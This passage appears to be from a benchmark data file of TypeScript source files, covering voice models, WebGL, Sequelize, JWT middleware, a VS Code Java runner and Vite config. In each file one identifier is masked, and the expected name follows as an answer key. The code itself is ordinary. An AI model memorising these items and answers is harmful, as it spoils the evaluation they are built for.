  return Math.floor(Math.random() * (max - min)) + min;
}

/**
 * Selects a random item from an array, assuming the input is an array of data (e.g., from a CSV file).
 *
 * @param {any[]} csvData - The array containing the data from which to select a random item.
 * @returns {any} A random item from the input array.
 */
export function getRandonFromCSV(csvData: any[]): any {
  let randIndex = getRandomInt(0, csvData.length);
  return csvData[randIndex];
}
",minSleep
544,"/*
 * Copyright (c) 2018. Taimos GmbH http://www.taimos.de
 */

import {writeFileSync} from 'fs';
import {mkdirpSync} from 'fs-extra';
import {createAudioPlayerIntents, createDisplayIntents, readIntentsFromYAML} from './intents';
import {readTypesFromYAML} from './types';
import {VoiceInterface} from './voicemodel';

export {createAudioPlayerIntents, createDisplayIntents, readIntentsFromYAML} from './intents';
export {readTypesFromYAML} from './types';
export * from './voicemodel';

export interface GenerationOptions {
    invocation : string;
    processors? : Array<((vui : VoiceInterface, locale : string) => Promise<VoiceInterface> | VoiceInterface)>;
    pretty? : boolean;
    skipOuput? : boolean;
}

function addDummyDialog(vui : VoiceInterface) : void {
    vui.addDialogSlot('DialogActivationDummyIntent', 'dummy', {
        type: 'AMAZON.NUMBER',
        texts: [],
        confirmationRequired: false,
        elicitationRequired: true,
        prompt: 'Dummy question',
    });
}

// VUI generation
/**
 * Create the voice interface
 * @param options - the generation options
 * @param locale - the model locale
 * @param outputDir - the output dir (defaults to ./models)
 * @return {Promise.<VoiceInterface>}
 */
export const createLanguageModel = (options : GenerationOptions, locale : string, outputDir = './models') : Promise<VoiceInterface> => {
    const vui : VoiceInterface = new VoiceInterface(options.invocation);
    addDummyDialog(vui);

    let generationPromise = Promise.resolve(vui);

    if (options.processors) {
        for (const processor of options.processors) {
            generationPromise = generationPromise.then((currentVui) => processor(currentVui, locale));
        }
    }

    if (options.skipOuput) {
        return generationPromise;
    }
    return generationPromise.then(( [MASK] ) => {
        const modelFileName = `${outputDir}/${locale}.json`;
        mkdirpSync(outputDir);
        writeFileSync(modelFileName,  [MASK] .toJSON(options.pretty));
        return vui;
    }).catch((reason) => {
        console.log(reason);
        throw reason;
    });
};

const createPromise = (arg, locale) => {
    'use strict';
    let promise = undefined;
    if (arg instanceof Function) {
        const invoked = arg(locale);
        promise = invoked.then && invoked.then instanceof Function ? invoked : Promise.resolve(invoked);
    } else if (Array.isArray(arg)) {
        const promiseArray = arg.map((fn) => createPromise(fn, locale));
        promise = Promise.all(promiseArray).then((results) => [].concat.apply([], results));
    } else {
        promise = Promise.resolve(arg);
    }
    return promise;
};
",generatedVUI
545,"/**
 * @file This is for the plugin to load Bayes Classifier model.
 */

import { ModelDefineType, UniModel, ModelDefineArgsType, CsvDataset, CsvSample } from '@pipcook/pipcook-core';
import * as assert from 'assert';
import * as path from 'path';
import { processPredictData, getBayesModel, loadModel } from './script';

const boa = require('@pipcook/boa');
const sys = boa.import('sys');

/**
 * assertion test
 * @param data
 */
const assertionTest = (data: CsvDataset) => {
  assert.ok(data.metadata.feature && data.metadata.feature.names.length === 1,
    'feature should only have one dimension which is the feature name');
};

/**
 * Pipcook Plugin: bayes classifier model
 * @param data Pipcook uniform sample data
 * @param args args. If the model path is provided, it will restore the model previously saved
 */
const bayesianClassifierModelDefine: ModelDefineType = async (data: CsvDataset, args: ModelDefineArgsType): Promise<UniModel> => {
  const {
    recoverPath
  } = args;

  sys.path.insert(0, path.join(__dirname, 'assets'));
  let classifier: any;

  if (!recoverPath) {
    assertionTest(data);
    classifier = getBayesModel();
  } else {
    classifier = await loadModel(path.join(recoverPath, 'model.pkl'));
  }

  const pipcookModel: UniModel = {
    model: classifier,
    predict: async function (text: CsvSample) {
      const  [MASK]  = await processPredictData(text.data, path.join(recoverPath, 'feature_words.pkl'), path.join(recoverPath, 'stopwords.txt'));
      const pred = this.model.predict( [MASK] );
      return pred.toString();
    }
  };
  return pipcookModel;
};

export default bayesianClassifierModelDefine;
",processData
546,"import { Buffer } from ""./Buffer"";
import { Framebuffer } from ""./Framebuffer"";
import { Program } from ""./Program"";
import { Texture } from ""./Texture"";

/**
 * A TypeScript Port of IglooJS - taken from https://github.com/skeeto/igloojs
 * 
 */
export const GL_RGBA : number = 0x1908;
export const GL_CLAMP_TO_EDGE:number = 0x812F;
export const GL_LINEAR :number = 0x2601;

export class Igloo {
    public gl: WebGLRenderingContext;
    private canvas: HTMLCanvasElement | OffscreenCanvas;

    /** To be used in a vec2 GL_TRIANGLE_STRIP draw. */
    private static readonly QUAD2 = new Float32Array([-1, -1, 1, -1, -1, 1, 1, 1]);
    public defaultFramebuffer: Framebuffer;

    /** Wrap WebGLRenderingContext objects with useful behavior.
     * @param {WebGLRenderingContext|HTMLCanvasElement} gl
     * @param {Object} [options] to pass to getContext() */
    constructor(gl: HTMLCanvasElement | WebGLRenderingContext, options?: WebGLContextAttributes) {
        if (gl instanceof HTMLCanvasElement) {
            this.canvas = gl;
            this.gl = Igloo.getContext(gl, options);
        } else {
            this.canvas = gl.canvas;
            this.gl = gl;
        }
        this.defaultFramebuffer = new Framebuffer(this.gl, null);
    }


    /**
     * @param {HTMLCanvasElement} canvas
     * @param {Object} [options] to pass to getContext()
     * @param {boolean} [noerror] If true, return null instead of throwing
     * @returns {?WebGLRenderingContext} a WebGL rendering context.
     */
    private static getContext(canvas: HTMLCanvasElement, options: WebGLContextAttributes, noerror = false): WebGLRenderingContext {
        let gl;
        try {
            gl = canvas.getContext('webgl', options || {}) ||
                canvas.getContext('experimental-webgl', options || {});
        } catch (e) {
            gl = null;
        }
        if (gl == null && !noerror) {
            throw new Error('Could not create WebGL context.');
        } else {
            return gl;
        }
    };

    /**
     * @param {*} object
     * @returns {boolean} true if object is an array or typed array
     */
    public static isArray(object: Object): object is Array<number> {
        const name = Object.prototype.toString.apply(object, []);
        const re = / (Float(32|64)|Int(16|32|8)|Uint(16|32|8(Clamped)?))?Array]$/;
        return re.exec(name) != null;
    };

    /** Creates a program from a program configuration.
     * @param {string} vertex URL or source of the vertex shader
     * @param {string} fragment URL or source of the fragment shader
     * @param {Function} [transform] Transforms the shaders before compilation
     * @returns {Igloo.Program}
     */
    public program(vertex: string, fragment: string, transform?: (shader: string) => string): Program {
        // if (Igloo.looksLikeURL(vertex)) vertex = Igloo.fetch(vertex);
        // if (Igloo.looksLikeURL(fragment)) fragment = Igloo.fetch(fragment);
        if (transform != null) {
            vertex = transform(vertex);
            fragment = transform(fragment);
        }
        return new Program(this.gl, vertex, fragment);
    };

    /** Create a new GL_ARRAY_BUFFER with optional data. */
    public array(data: ArrayBuffer | ArrayBufferView | null = null, usage: GLenum | null = null): Buffer {
        const gl = this.gl;
        const buffer = new Buffer(gl, gl.ARRAY_BUFFER);
        if (data != null) {
            buffer.update(data, usage == null ? gl.STATIC_DRAW : usage);
        }
        return buffer;
    };

    /** Create a new GL_ELEMENT_ARRAY_BUFFER with optional data.*/
    private elements(data: ArrayBuffer | ArrayBufferView | null = null, usage: GLenum | null = null): Buffer {
        var gl = this.gl,
            buffer = new Buffer(gl, gl.ELEMENT_ARRAY_BUFFER);
        if (data != null) {
            buffer.update(data, usage == null ? gl.STATIC_DRAW : usage);
        }
        return buffer;
    };

    /** */
    private texture(source: ImageData, format: GLenum = GL_RGBA, wrap: GLenum = GL_CLAMP_TO_EDGE,  [MASK] : GLenum = GL_LINEAR): Texture {
        var texture = new Texture(this.gl, format, wrap,  [MASK] );
        if (source != null) {
            texture.set(source);
        }
        return texture;
    };

    /** */
    private framebuffer(texture: Texture): Framebuffer {
        var framebuffer = new Framebuffer(this.gl);
        if (texture != null) framebuffer.attach(texture);
        return framebuffer;
    };
}

",filter
547,"/*
 *
 * VirtualYou Project
 * Copyright 2023 <NAME>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * doc.model.ts
 */

// eslint-disable-next-line @typescript-eslint/no-explicit-any
const doc = ( [MASK] : any, Sequelize: any) => {
    return  [MASK] .define(""docs"", {
        name: {
            type: Sequelize.STRING
        },
        type: {
            type: Sequelize.STRING
        },
        link: {
            type: Sequelize.STRING
        },
        userKey: {
            type: Sequelize.INTEGER
        }
    });
};

export default doc;",sequelize
548,"import { IMiddleware } from '@midwayjs/core';
import * as _ from 'lodash';
import * as jwt from 'jsonwebtoken';
import { ALL, Config, Init, Middleware } from '@midwayjs/decorator';
import { NextFunction, Context } from '@midwayjs/koa';
import { RESCODE } from '@cool-midway/core';

@Middleware()
export class ManageMiddleware implements IMiddleware<Context, NextFunction> {
  @Config('koa.globalPrefix')
  prefix;
  @Config('module.manage')
  jwtConfig;
  @Config(ALL)
  coolConfig;

  protected ignoreUrls = [];
  // 初始化忽略token的地址
  @Init()
  async init() {
    const { module } = this.coolConfig;
    for (const key in module) {
      if (key == 'manage') {
        continue;
      }
      this.ignoreUrls = this.ignoreUrls.concat(
        module[key].manage?.jwt?.ignoreUrls || []
      );
    }
  }

  resolve() {
    return async (ctx: Context, next: NextFunction) => {
      // let statusCode = 200;
      this.ignoreUrls = this.ignoreUrls.concat(this.jwtConfig.jwt.ignoreUrls);
      let { url } = ctx;
      const  [MASK]  = ctx.header.authorization;
      url = url.replace(this.prefix, '');
      console.log(url, 'Adminapp中间件开始');
      if (ctx.method == 'OPTIONS') {
        console.log(ctx.method);
        ctx.status = 200;
        ctx.body = {
          code: 200,
          message: '登录失效或无权限访问~',
        };
        // await next();
        return;
      }
      if (_.startsWith(url, '/Adminapp/')) {
        console.log('Adminapp中间件进入');
        // 检验是否免登陆
        if (this.ignoreUrls.includes(url)) {
          await next();
          return;
        } else {
          const token =  [MASK] .trim().split(' ')[1];

          // 校验token
          try {
            // 解密token并赋值
            ctx.Adminapp = jwt.verify(token, this.jwtConfig.jwt.secret);
          } catch (err) {
            ctx.status = 401;
            ctx.body = {
              code: RESCODE.COMMFAIL,
              message: '登录失效或无权限访问~',
            };
            return;
          }
          await next();
          return;
        }
      }
      console.log('Adminapp中间件结束');
      await next();
    };
  }
}
",tokenb
549,"'use strict';
// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

// this method is called when your extension is activated
// your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {

    // Use the console to output diagnostic information (console.log) and errors (console.error)
    // This line of code will only be executed once when your extension is activated

    //let configurations = vscode.workspace.getConfiguration('javaDebug');
    
    let outputChannel = vscode.window.createOutputChannel('Java Debug');    
    outputChannel.appendLine('""java-debug"" is now active!');

    // The command has been defined in the package.json file
    // Now provide the implementation of the command with  registerCommand
    // The commandId parameter must match the command field in package.json    
    let compile = vscode.commands.registerCommand('javaDebug.compile', () => {
        outputChannel.clear();
        outputChannel.show();

        let editor = vscode.window.activeTextEditor;
        let fullFileName = editor.document.fileName;
        if (!editor || !fullFileName) {
            return; 
        }
        if (!fullFileName.endsWith('.java')) {
            return;
        }
        if (editor.document.isDirty) {
            outputChannel.appendLine('File saved.');
            editor.document.save();
        }

        let exec = require('child_process').exec;
        let cmd = 'javac -encoding utf8 ""' + fullFileName + '""';

        outputChannel.appendLine('Execute command: ' + cmd);
        exec(cmd, function (error, stdout, stderr) {
            if (stderr) {
                outputChannel.appendLine(stderr);
                return;
            }
            outputChannel.appendLine('Success!');
        });
    });

    let run = vscode.commands.registerCommand('javaDebug.run', () => {
        outputChannel.clear();

        let editor = vscode.window.activeTextEditor;
        let fullFileName = editor.document.fileName;
        if (!editor || !fullFileName) {
            return;
        }
        if (!fullFileName.endsWith('.java')) {
            return;
        }

        let isUnixLike = fullFileName.startsWith('/');
        let fileNameIndex = isUnixLike ? fullFileName.lastIndexOf('/') : fullFileName.lastIndexOf('\\');
        let fileName = fullFileName.substring(fileNameIndex + 1);
        let  [MASK]  = fullFileName.substring(0, fileNameIndex);
        let className = fileName.substring(0, fileName.indexOf('.java'));

        let exec = require('child_process').exec;
        let cmd = 'java -cp ""' +  [MASK]  + '"" ""' + className + '""';

        vscode.window.setStatusBarMessage('Execute command: ' + cmd);

        exec(cmd, function (error, stdout, stderr) {
            if (stderr) {
                outputChannel.appendLine(stderr);
            } else if (stdout) {
                outputChannel.appendLine(stdout);
            }
        });
    });

    context.subscriptions.push(compile);
    context.subscriptions.push(run);
}

// this method is called when your extension is deactivated
export function deactivate() {
}",folderPath
550,"/// <reference path=""../typings/arcgis-js-api.d.ts""/>

import Polygon = require(""esri/geometry/Polygon"");
import Point = require(""esri/geometry/Point"");
import geometryEngine = require(""esri/geometry/geometryEngine"");
  
export class PolygonUtils{ 

    constructor() {

    } 

    public getCurrentDistanceFromCentroid(rings, mouseLocation){
        // Turn the current mouseover feature into a polygon geometry
        var polygon = new Polygon(rings);
        var centroid = polygon.getCentroid();
        // Calculate the distance between the centroid point and the current mouse location 
        var distanceToCentroid = geometryEngine.distance(centroid, mouseLocation,0);
        return distanceToCentroid;
    }

    //get's the longest possible distance from the centroid (the furtheset vertex)
    public getMaxDistanceFromCentroid(polygonRings):number{
        var  [MASK]  = polygonRings[0];
        var longestDistanceFromCentroid = 0;
        var polygon = new Polygon( [MASK] );
        var centroid = polygon.getCentroid();
        var vertexDistances = new Array; 
        //get the distance from the centroid to each vertex
        for(var i in  [MASK] ){
            vertexDistances[i] = geometryEngine.distance(centroid, new Point( [MASK] [i]),0);
        }
        //return the longest of these distances 
        for(var i in vertexDistances){
            if (longestDistanceFromCentroid < vertexDistances[i]){
                longestDistanceFromCentroid = vertexDistances[i];
            }
        }
        //The longest distance between the centroid and a vertex
        return longestDistanceFromCentroid;
    }
}

export class OtherGeometryUtils{ 

    constructor() {

    } 

    public convertRanges(oldMax, oldMin, newMax, newMin, oldCurrent):number{
        var oldRange = oldMax - oldMin;
        var newRange = newMax - newMin;

        var newCurrentValue = (((oldMax-(oldCurrent-oldMin))*newRange)/oldRange)+newMin;
        
        return newCurrentValue;
    }
}",polygonVertecies
551,"import type { PrimitiveType } from ""@sap-ux/vocabularies-types"";
import merge from ""sap/base/util/merge"";
import type { FEView } from ""sap/fe/core/BaseController"";
import type { _RequestedProperty } from ""sap/fe/core/CommonUtils"";
import CommonUtils from ""sap/fe/core/CommonUtils"";
import type { PathInModelExpression } from ""sap/fe/core/helpers/BindingToolkit"";
import { compileExpression, constant, equal, transformRecursively } from ""sap/fe/core/helpers/BindingToolkit"";
import type { InternalModelContext } from ""sap/fe/core/helpers/ModelHelper"";
import ModelHelper from ""sap/fe/core/helpers/ModelHelper"";
import { isEntitySet } from ""sap/fe/core/helpers/TypeGuards"";
import type ResourceModel from ""sap/fe/core/ResourceModel"";
import type Label from ""sap/m/Label"";
import type Event from ""sap/ui/base/Event"";
import Message from ""sap/ui/core/message/Message"";
import type MessageManager from ""sap/ui/core/message/MessageManager"";
import type View from ""sap/ui/core/mvc/View"";
import type Field from ""sap/ui/mdc/Field"";
import type MultiValueFieldItem from ""sap/ui/mdc/field/MultiValueFieldItem"";
import type MultiValueField from ""sap/ui/mdc/MultiValueField"";
import type Table from ""sap/ui/mdc/Table"";
import type Context from ""sap/ui/model/odata/v4/Context"";
import type ODataListBinding from ""sap/ui/model/odata/v4/ODataListBinding"";
import type PropertyBinding from ""sap/ui/model/PropertyBinding"";
import AnyElement from ""./controls/AnyElement"";
import ConverterContext from ""./converters/ConverterContext"";
import type { BaseManifestSettings } from ""./converters/ManifestSettings"";
import { getEditButtonEnabled, getHiddenExpression } from ""./converters/objectPage/HeaderAndFooterAction"";

type ActionParameter = {
	$Name: string;
	$isCollection: boolean;
	// currently runtime information is written into the metamodel:
	// - in the press handler of the action button on the parameter dialog, the value of each parameter is added
	// - in setActionParameterDefaultValue, this information is used and transferred to the context (in ODataModel) created for the action execution
	// this is quite odd, and it would make much more sense to take the value from actionParameterInfos
	// - however, setActionParameterDefaultValue (or rather the surrounding _executeAction) is also called from other places
	// => for the time being, adding value here to avoid ts errors, subject to refactoring
	// in case of Field, the value is string, in case of MultiValueField, it's MultiValueFieldItem[]
	value: string | MultiValueFieldItem[];
};

export type ActionParameterInfo = {
	parameter: ActionParameter;
	field: Field | MultiValueField;
	isMultiValue: boolean;
	value?: string | MultiValueFieldItem[];
	validationPromise?: Promise<string | MultiValueFieldItem[]>;
	hasError: boolean;
};

const ActionRuntime = {
	/**
	 * Adds error messages for an action parameter field to the message manager.
	 *
	 * @param messageManager The active MessageManager instance
	 * @param messageParameters Information identifying an action parameter and messages referring to this parameter
	 */
	_addMessageForActionParameter: function (
		messageManager: MessageManager,
		messageParameters: { actionParameterInfo: ActionParameterInfo; message: string }[]
	) {
		messageManager.addMessages(
			messageParameters.map((messageParameter) => {
				const binding = messageParameter.actionParameterInfo.field.getBinding(
					messageParameter.actionParameterInfo.isMultiValue ? ""items"" : ""value""
				);
				return new Message({
					message: messageParameter.message,
					type: ""Error"",
					processor: binding?.getModel(),
					persistent: true,
					target: binding?.getResolvedPath()
				});
			})
		);
	},

	/**
	 * Checks if all required action parameters contain data and checks for all action parameters if the
	 * contained data is valid.
	 *
	 *
	 * @param messageManager The active MessageManager instance
	 * @param actionParameterInfos Information identifying an action parameter
	 * @param resourceModel The model to load text resources
	 * @returns The validation result can be true or false
	 */
	validateProperties: async function (
		messageManager: MessageManager,
		actionParameterInfos: ActionParameterInfo[],
		resourceModel: ResourceModel
	): Promise<boolean> {
		await Promise.allSettled(actionParameterInfos.map((actionParameterInfo) => actionParameterInfo.validationPromise));

		const requiredParameterInfos = actionParameterInfos.filter((parameterInfo) => parameterInfo.field.getRequired());
		const allMessages = messageManager.getMessageModel().getData();
		const emptyRequiredFields = requiredParameterInfos.filter((requiredParameterInfo) => {
			const fieldId = requiredParameterInfo.field.getId();
			const relevantMessages = allMessages.filter((msg: Message) =>
				msg.getControlIds().some((controlId: string) => controlId.includes(fieldId))
			);
			if (relevantMessages.length > 0) {
				return false;
			} else if (requiredParameterInfo.isMultiValue) {
				return requiredParameterInfo.value === undefined || !requiredParameterInfo.value.length;
			} else {
				return (
					requiredParameterInfo.value === undefined || requiredParameterInfo.value === null || requiredParameterInfo.value === """"
				);
			}
		});
		/* Message for missing mandatory value of the action parameter */
		if (emptyRequiredFields.length) {
			this._addMessageForActionParameter(
				messageManager,
				emptyRequiredFields.map((actionParameterInfo) => ({
					actionParameterInfo: actionParameterInfo,
					message: resourceModel.getText(""C_OPERATIONS_ACTION_PARAMETER_DIALOG_MISSING_MANDATORY_MSG"", [
						(actionParameterInfo.field.getParent()?.getAggregation(""label"") as Label).getText()
					])
				}))
			);
		}
		/* Check value state of all parameters */
		const  [MASK]  = actionParameterInfos.find(
			(parameterInfo) =>
				parameterInfo.hasError || parameterInfo.field.getValueState() === ""Error"" || emptyRequiredFields.includes(parameterInfo)
		);
		if ( [MASK] ) {
			 [MASK] .field.focus();
			return false;
		} else {
			return true;
		}
	},

	/**
	 * Sets the action enablement.
	 *
	 * @function
	 * @name setActionEnablement
	 * @param oInternalModelContext Object containing the context model
	 * @param oActionOperationAvailableMap Map containing the operation availability of actions
	 * @param aSelectedContexts Array containing selected contexts of the chart
	 * @param sControl Control name
	 * @returns The action enablement promises
	 * @ui5-restricted
	 */
	setActionEnablement: async function (
		oInternalModelContext: InternalModelContext,
		oActionOperationAvailableMap: Record<string, string>,
		aSelectedContexts: Context[],
		sControl: string
	) {
		const aPromises = [];
		for (const sAction in oActionOperationAvailableMap) {
			let aRequestPromises: Promise<_RequestedProperty>[] = [];
			oInternalModelContext.setProperty(sAction, false);
			const sProperty = oActionOperationAvailableMap[sAction];
			for (let i = 0; i < aSelectedContexts.length; i++) {
				const oSelectedContext = aSelectedContexts[i];
				if (oSelectedContext) {
					const oContextData = oSelectedContext.getObject() as Record<string, unknown>;
					if (sControl === ""chart"") {
						if ((sProperty === null && !!oContextData[`#${sAction}`]) || oSelectedContext.getObject(sProperty)) {
							//look for action advertisement if present and its value is not null
							oInternalModelContext.setProperty(sAction, true);
							break;
						}
					} else if (sControl === ""table"") {
						aRequestPromises = this._setActionEnablementForTable(
							oSelectedContext,
							oInternalModelContext,
							sAction,
							sProperty,
							aRequestPromises
						);
					}
				}
			}
			if (sControl === ""table"") {
				if (!aSelectedContexts.length) {
					oInternalModelContext.setProperty(`dynamicActions/${sAction}`, {
						bEnabled: false,
						aApplicable: [],
						aNotApplicable: []
					});
					aPromises.push(CommonUtils.setContextsBasedOnOperationAvailable(oInternalModelContext, []));
				} else if (aSelectedContexts.length && typeof sProperty === ""string"") {
					// When all property values have been retrieved, set
					// The applicable and not-applicable selected contexts for each action and
					// The enabled property of the dynamic action in internal model context.
					aPromises.push(CommonUtils.setContextsBasedOnOperationAvailable(oInternalModelContext, aRequestPromises));
				}
			}
		}
		return Promise.all(aPromises);
	},
	setActionEnablementAfterPatch: function (oView: View, oListBinding: ODataListBinding, oInternalModelContext: InternalModelContext) {
		const oInternalModelContextData = oInternalModelContext?.getObject() as Record<string, unknown>;
		const oControls = (oInternalModelContextData?.controls || {}) as Record<string, { controlId?: string }>;
		for (const sKey in oControls) {
			if (oControls[sKey] && oControls[sKey].controlId) {
				const oTable = oView.byId(sKey);
				if (oTable && oTable.isA<Table>(""sap.ui.mdc.Table"")) {
					const oRowBinding = oTable.getRowBinding();
					if (oRowBinding == oListBinding) {
						ActionRuntime.setActionEnablement(
							oTable.getBindingContext(""internal"") as InternalModelContext,
							JSON.parse(oTable.data(""operationAvailableMap"").customData),
							oTable.getSelectedContexts() as Context[],
							""table""
						);
					}
				}
			}
		}
	},

	updateEditButtonVisibilityAndEnablement(oView: FEView) {
		const iViewLevel = (oView.getViewData() as BaseManifestSettings)?.viewLevel,
			isEditable = oView.getModel(""ui"")?.getProperty(""/isEditable"");
		if ((iViewLevel as number) > 1 && isEditable !== true) {
			const oContext = oView.getBindingContext() as Context;
			const oAppComponent = CommonUtils.getAppComponent(oView);
			const sMetaPath = ModelHelper.getMetaPathForContext(oContext);
			const sEntitySet = ModelHelper.getRootEntitySetPath(sMetaPath);
			const metaContext = oContext?.getModel()?.getMetaModel()?.getContext(oContext?.getPath());
			const converterContext = ConverterContext?.createConverterContextForMacro(
				sEntitySet,
				metaContext,
				oAppComponent.getDiagnostics(),
				merge,
				undefined
			);
			const entitySet = converterContext.getEntitySet();
			const entityType = converterContext.getEntityType();
			let updateHidden;
			//Find the Update Hidden of the root entity set and bind the property to AnyElement, any changes in the path of the root UpdateHidden will be updated via the property, internal model context is updated based on the property
			const bUpdateHidden = isEntitySet(entitySet) && entitySet.annotations.UI?.UpdateHidden?.valueOf();
			if (bUpdateHidden !== true) {
				updateHidden = ModelHelper.isUpdateHidden(entitySet, entityType);
			}
			//Find the operation available property of the root edit configuration and fetch the property using AnyElement
			const sEditEnableBinding = getEditButtonEnabled(converterContext, undefined);
			const draftRootPath = ModelHelper.getDraftRootPath(oContext);
			const sStickyRootPath = ModelHelper.getStickyRootPath(oContext);
			const sPath = draftRootPath || sStickyRootPath;
			const oInternalModelContext = oView.getBindingContext(""internal"") as InternalModelContext;
			if (sPath) {
				const oRootContext = oView.getModel().bindContext(sPath).getBoundContext();
				if (updateHidden !== undefined) {
					const sHiddenExpression = compileExpression(equal(getHiddenExpression(converterContext, updateHidden), false));
					this.updateEditModelContext(sHiddenExpression, oView, oRootContext, ""rootEditVisible"", oInternalModelContext);
				}
				if (sEditEnableBinding) {
					this.updateEditModelContext(sEditEnableBinding, oView, oRootContext, ""rootEditEnabled"", oInternalModelContext);
				}
			}
		}
	},

	updateEditModelContext: function (
		sBindingExpression: string | undefined,
		oView: View,
		oRootContext: Context,
		sProperty: string,
		oInternalModelContext: InternalModelContext
	) {
		if (sBindingExpression) {
			const oHiddenElement = new AnyElement({ anyText: sBindingExpression });
			oHiddenElement.setBindingContext(null);
			oView.addDependent(oHiddenElement);
			oHiddenElement.getBinding(""anyText"");
			const oContext = oHiddenElement
				.getModel()
				?.bindContext(oRootContext.getPath(), oRootContext, { $$groupId: ""$auto.Heroes"" })
				?.getBoundContext();
			oHiddenElement.setBindingContext(oContext);
			oHiddenElement?.getBinding(""anyText"")?.attachChange((oEvent: Event) => {
				const oNewValue = (oEvent.getSource() as PropertyBinding).getExternalValue();
				oInternalModelContext.setProperty(sProperty, oNewValue);
			});
		}
	},

	_setActionEnablementForTable: function (
		oSelectedContext: Context | undefined,
		oInternalModelContext: InternalModelContext,
		sAction: string,
		sProperty: string,
		aRequestPromises: Promise<_RequestedProperty>[]
	) {
		// Reset all properties before computation
		oInternalModelContext.setProperty(`dynamicActions/${sAction}`, {
			bEnabled: false,
			aApplicable: [],
			aNotApplicable: []
		});
		// Note that non dynamic actions are not processed here. They are enabled because
		// one or more are selected and the second part of the condition in the templating
		// is then undefined and thus the button takes the default enabling, which is true!
		const aApplicable = [],
			aNotApplicable = [],
			sDynamicActionEnabledPath = `${oInternalModelContext.getPath()}/dynamicActions/${sAction}/bEnabled`;
		if (typeof sProperty === ""object"" && sProperty !== null && sProperty !== undefined) {
			if (oSelectedContext) {
				const oContextData = oSelectedContext.getObject() as Record<string, PrimitiveType>;
				const oTransformedBinding = transformRecursively(
					sProperty,
					""PathInModel"",
					// eslint-disable-next-line no-loop-func
					function (oBindingExpression: PathInModelExpression<PrimitiveType>) {
						return oContextData ? constant(oContextData[oBindingExpression.path]) : constant(false);
					},
					true
				);
				const sResult = compileExpression(oTransformedBinding);
				if (sResult === ""true"") {
					oInternalModelContext.getModel().setProperty(sDynamicActionEnabledPath, true);
					aApplicable.push(oSelectedContext);
				} else {
					aNotApplicable.push(oSelectedContext);
				}
			}
			CommonUtils.setDynamicActionContexts(oInternalModelContext, sAction, aApplicable, aNotApplicable);
		} else {
			const oContextData = oSelectedContext?.getObject() as Record<string, PrimitiveType>;
			if (sProperty === null && !!oContextData[`#${sAction}`]) {
				//look for action advertisement if present and its value is not null
				oInternalModelContext.getModel().setProperty(sDynamicActionEnabledPath, true);
			} else if (oSelectedContext !== undefined) {
				// Collect promises to retrieve singleton or normal property value asynchronously
				aRequestPromises.push(CommonUtils.requestProperty(oSelectedContext, sAction, sProperty, sDynamicActionEnabledPath));
			}
		}
		return aRequestPromises;
	}
};
export default ActionRuntime;
",firstInvalidParameter
552,"/// <reference types=""vite/client"" />

import { defineConfig } from 'vite'
import solidPlugin from 'vite-plugin-solid'

export default defineConfig({
  plugins: [solidPlugin()],
  build: {
    cssTarget: 'chrome61',
    sourcemap: true,
    rollupOptions: {
      external: ['tradingsoccerlib'],
      output: {
        assetFileNames: ( [MASK] ) => {
          if ( [MASK] .name === 'style.css') {
            return 'tradingsoccerwrap.css'
          }
        },
        globals: {
          tradingsoccerlib: 'tradingsoccerlib'
        },
      },
    },
    lib: {
      entry: './src/index.ts',
      name: 'tradingsoccerwrap',
      fileName: (format) => {
        if (format === 'es') {
          return 'tradingsoccerwrap.js'
        }
        if (format === 'umd') {
          return 'tradingsoccerwrap.umd.js'
        }
      }
    }
  }
})
",chunkInfo
553,"import {API, PlatformAccessory, Service} from 'homebridge';

export class ServiceHelper {

  service: Service;

  private readonly _api: API;

  get api(): API {
    return this._api;
  }


  /**
   * Returns the service display name
   */
  get serviceDisplayName(): string {
    return (this.service.getCharacteristic(this.api.hap.Characteristic.Name).value as string);
  }


  /**
   * Sets the service display name
   * @param name
   */
  set serviceDisplayName(name: string) {
    this.service.setCharacteristic(this.api.hap.Characteristic.Name, (name || 'UNKNOWN'));
  }




  constructor(api: API,
              private accessory: PlatformAccessory,
              private serviceIdentifier: string,
              private  [MASK] : Service | typeof Service
              ) {

    this._api = api;

    // init the Service
    this.service = accessory.getService(serviceIdentifier) ||
        accessory.addService( [MASK] , serviceIdentifier, serviceIdentifier);
  }



}
",serviceType
554,"// Adapted from: https://github.com/Shadowman4205/react-leaflet-curve/blob/master/src/Curve.js
//  to prevent its bundled (outdated?) Leaflet.curve from polluting the existing dependencies.

import { Path, PathProps, withLeaflet } from 'react-leaflet';
import L from 'leaflet';
import '@elfalem/leaflet-curve';

interface CurveProps extends PathProps {
  positions: any[];
  option: any;
}

class Curve extends Path<CurveProps, L.Curve> {
  createLeafletElement(props: CurveProps) {
    const { positions, option /*, ...options*/ } = props;
    return L.curve(positions, option /*, this.getOptions(options)*/);
  }

  updateLeafletElement( [MASK] : CurveProps, toProps: CurveProps) {
    if (toProps.positions !==  [MASK] .positions) {
      (this.leafletElement.setPath as any)(toProps.positions);
    }
    this.setStyleIfChanged( [MASK] , toProps);
  }
}

// Curve.propTypes = {
//     children: PropTypes.oneOfType([
//         PropTypes.arrayOf(PropTypes.node),
//         PropTypes.node
//     ]),
//     option: PropTypes.object,
//     positions: PropTypes.array.isRequired
// };

export default withLeaflet(Curve);

// TODO: type are just roughly annoatated
",fromProps
555,"import * as core from '@actions/core';
import * as childProcess from 'child_process';
import * as fs from 'fs';
import * as process from 'process';

/**
 * Run a specified command.
 * @param {string} cmd - command to run
 */
function runCmd(cmd: string) {
  try {
    console.log(`RUNNING: ""${cmd}""`)
    childProcess.execSync(cmd);
  } catch (error: unknown) {
    if (error instanceof Error) {
      core.setFailed(error.message);
    } else {
      core.setFailed(String(error));
    }
  }
}

async function run() {
  const version = core.getInput('version');
  const outputFile = core.getInput('outputFile');
  const functionType = core.getInput('functionType');
  const declarativeType = core.getInput('declarativeType');
  const validateMapping = core.getInput('validateMapping');
  const validateConcurrency = core.getInput('validateConcurrency');
  const source = core.getInput('source');
  const target = core.getInput('target');
  const runtime = core.getInput('runtime');
  const runtimeVersion = core.getInput('runtimeVersion');
  const builderURL = core.getInput('builderURL');
  const tag = core.getInput('tag');
